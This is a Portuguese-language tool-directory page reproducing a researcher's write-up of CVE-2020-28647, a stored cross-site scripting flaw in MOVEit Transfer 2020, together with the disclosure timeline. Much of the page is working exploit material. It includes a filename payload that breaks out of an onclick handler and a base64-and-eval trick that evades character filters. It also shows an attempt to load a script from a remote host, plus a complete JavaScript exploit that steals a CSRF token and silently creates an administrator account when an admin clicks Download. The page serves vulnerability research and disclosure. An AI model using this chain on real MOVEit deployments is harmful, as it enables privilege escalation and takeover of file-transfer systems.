Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Progress-MOVEit-Transfer-2020.1-Stored-XSS-CVE-2020-28647 — Aplicação web MOVEit Transfer 2020 com Cross-Site Scripting (XSS) Armazenado | Kitploit
Ferramentas/GitHubGitHub/secforce/progress-moveit-transfer-2020.1-stored-xss-cve-2020-28647
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubsecforce/progress-moveit-transfer-2020.1-stored-xss-cve-2020-28647

Progress-MOVEit-Transfer-2020.1-Stored-XSS-CVE-2020-28647

Aplicação web MOVEit Transfer 2020 com Cross-Site Scripting (XSS) Armazenado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
2há 5 anosAinda não revisado

Progress MOVEit Transfer < 2020.1 XSS Armazenado (CVE-2020-28647)

Durante um teste recente de aplicação web, uma das aplicações no escopo era uma aplicação web MOVEit Transfer 2020. Ao realizar a avaliação, foi identificada uma vulnerabilidade de Cross-Site Scripting (XSS) Armazenado. Esta postagem do blog abordará a descoberta e exploração dessa vulnerabilidade para obter acesso administrativo à aplicação web.

Ao testar a validação de entrada em diversos campos de entrada encontrados na aplicação, um campo em particular parecia fornecer saída inesperada quando certos payloads eram fornecidos. Esse campo de entrada era o nome do arquivo sendo enviado. Após enviar arquivos com determinados nomes, foi identificado que, ao tentar baixar o arquivo, o botão de download não realizava nenhuma ação. Esse comportamento foi investigado e, como podemos ver na imagem abaixo, um erro JavaScript está sendo acionado ao clicar no botão de download.

Uma vez identificado esse erro, o código HTML por trás do botão de download foi analisado. A partir da análise inicial, constatou-se que o nome do arquivo está sendo incluído na função JavaScript onclick do botão sem a devida sanitização, como pode ser visto na imagem abaixo.

Com essa observação, ficou claro que é possível injetar código JavaScript que será executado quando um usuário clicar no botão Download. O primeiro passo foi criar um código de Prova de Conceito que acionasse um pop-up JavaScript por meio da função alert. Dada a natureza do código e o local onde o nome do arquivo está sendo injetado, o seguinte payload foi elaborado. Esse payload encerraria a função sendo chamada e adicionaria uma nova função, alert(), seguida por uma função fictícia para completar o código.

root@kitploit:~
test", 382,"1234");alert("XSS");a("test

Com esse payload em mãos, podemos testá-lo. Podemos enviar um arquivo e, em seguida, interceptar a requisição de upload para o servidor usando o burp proxy, alterar o nome do arquivo e encaminhar a requisição ao servidor.

Com o arquivo enviado, podemos agora abrir o arquivo clicando no nome do arquivo e, em seguida, clicar no botão Download. Aqui podemos ver que o XSS é acionado e um pop-up de alerta JavaScript é exibido.

Legal! Portanto, podemos executar código JavaScript arbitrário. O que mais podemos fazer? Podemos obter algo mais disso?

Após examinar a aplicação e sua funcionalidade, um vetor de ataque potencial poderia ser um usuário de baixo nível tentando escalar privilégios para obter acesso administrativo à aplicação web.

O passo inicial foi verificar se é possível realizar requisições HTTP via JavaScript usando XMLHttpRequest. Ao revisar as configurações para nomes de arquivos e pastas, foi identificado que o MOVEit não permite que nenhum arquivo ou pasta contenha / ou \ no nome. Portanto, isso pode potencialmente nos impedir de realizar requisições HTTP. Outra limitação identificada foi que o nome do arquivo é limitado a 255 caracteres.

Com base nessa análise, temos algumas restrições que precisam ser contornadas. A primeira foi tentar encontrar uma forma de contornar a limitação dos caracteres / e \ e tentar incluir um arquivo JavaScript hospedado em um servidor remoto. Para contornar essa restrição, podemos codificar o código JavaScript que queremos executar no formato base64 e, em seguida, decodificá-lo em memória e executá-lo por meio da função eval. O trecho de código a seguir faz exatamente isso.

root@kitploit:~
t",1,"1");var e="BASE64 CODE";var d=atob(e);eval(d);a("t","t

Com esse código, a primeira tentativa foi injetar uma tag <script> com a origem do arquivo definida para um arquivo hospedado externamente. O trecho de código abaixo foi codificado em base64 e depois copiado no trecho acima.

root@kitploit:~
var s=document.createElement("script");s.onload=function(){r();};s.src="http://XXX.XXX.XXX.XXX/t";document.head.appendChild(s);

Ao tentar isso, surgiu outro problema: CSP. A aplicação web estava usando um CSP que impedia o carregamento de arquivos JavaScript externos.

Portanto, não podemos carregar arquivos externos e não podemos incluir código JS que exceda 255 caracteres. O que podemos fazer agora? Podemos tentar abusar da funcionalidade do MOVEit e usá-lo para hospedar nosso arquivo JavaScript malicioso.

Primeiro, precisamos criar o código JavaScript que fará uma requisição GET à página responsável por adicionar um novo usuário ao sistema e, a partir daí, extrair o token CSRF. O script precisará então fazer uma requisição POST para criar um novo usuário administrador, incluindo o token CSRF extraído na requisição. Abaixo está o trecho de código que faz isso.

root@kitploit:~
//Exploit Title: MOVEit Transfer 2020 - Stored Cross-Site Scripting (XSS)
//Exploit Author: Mark Galea ([email protected])
//Date: 05-08-2020

function r(){	
    alert(1);
    var uri = "human.aspx?arg12=useradd";
    xhr = new XMLHttpRequest();	
    xhr.open("GET", uri, false);	
    xhr.send(null)
    if (xhr.status === 200)
    {
        responseBody = read_body(xhr);
        firstSubStr = responseBody.substring(responseBody.indexOf("csrftoken")+18);
        csrfToken = firstSubStr.substring(0, firstSubStr.indexOf('"'));
        if (csrfToken){
            var adduserUri = "/human.aspx";
            var body="csrftoken=" + csrfToken + "&transaction=useradd&arg02=0&arg12=useradd&arg01=sectest3&arg03=sectest3&arg04=test1%40secforce.com&arg11=0&arg05=30&Opt03=en&Opt02=20&opt05=1xFEHd%5DFhhVKJm&opt04=1&Arg08=%5B9%255Sj%29%2B4%2ChAUAY3&Arg09=%5B9%255Sj%29%2B4%2ChAUAY3&opt07=%2FHome%2F%5BUSERNAME%5D&Arg10=";
            xhr2 = new XMLHttpRequest();
            xhr2.open("POST", adduserUri, false);
            xhr2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
            xhr2.send(body);
        }
    }
}

function read_body(xhr) {
    var data;
    if (!xhr.responseType || xhr.responseType === "text") {
        data = xhr.responseText;
    } else if (xhr.responseType === "document") {
        data = xhr.responseXML;
    } else if (xhr.responseType === "json") {
        data = xhr.responseJSON;
    } else {
        data = xhr.response;
    }
    return data;	
}

O código JavaScript acima precisa ser salvo em um arquivo e então enviado para o MOVEit. Após o upload do arquivo, abra os detalhes do arquivo e clique no botão de download enquanto intercepta as requisições web com o burp proxy. Nos logs do burp proxy, deve haver uma entrada para o link de download direto do arquivo. Essa URL deve ser semelhante a:

root@kitploit:~
https://<MOVEIT_URL>/download?arg01=file693187292&arg02=693313636

Tendo o link de download direto, podemos agora configurá-lo para ser incluído no payload. Este código abaixo criará uma tag script e definirá a URL de origem para o link de download direto e, finalmente, inserirá a tag script na tag head da página e, no onload, executará a função r().

root@kitploit:~
var s=document.createElement("script");s.onload=function(){r();};s.src="/download?arg01=file693187292&arg02=693313636";document.head.appendChild(s);

O próximo passo é codificar em base64 o trecho de código acima:

root@kitploit:~
dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5vbmxvYWQ9ZnVuY3Rpb24oKXtyKCk7fTtzLnNyYz0iL2Rvd25sb2FkP2FyZzAxPWZpbGU2OTMxODcyOTImYXJnMDI9NjkzMzEzNjM2Ijtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHMpOw==

O próximo passo é injetar este payload XSS final. Para fazer isso, envie um arquivo enquanto intercepta as requisições com o burp proxy e modifique o nome do arquivo enviado para o payload XSS abaixo.

root@kitploit:~
t",1,"1");var e="dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5vbmxvYWQ9ZnVuY3Rpb24oKXtyKCk7fTtzLnNyYz0iL2Rvd25sb2FkP2FyZzAxPWZpbGU2OTMxODcyOTImYXJnMDI9NjkzMzEzNjM2Ijtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHMpOw==";var d=atob(e);eval(d);a("t","t

Uma vez que o arquivo é enviado, clique no arquivo enviado para abrir os detalhes e clique no botão Download para acionar o XSS e a criação do usuário administrador. Um usuário de baixo nível pode configurar isso e, se o arquivo enviado for baixado por um usuário administrativo, o usuário de baixo nível pode fazer com que o administrador crie involuntariamente uma conta de administrador.

Linha do tempo

  • 05/08/2020 - Problema relatado
  • 08/08/2020 - Problema verificado e correção a ser incluída na próxima versão principal
  • 16/11/2020 - Comunicado do Progress MOVEit divulgado
  • 17/11/2020 - CVE-2020-28647 divulgado
Baixar ferramenta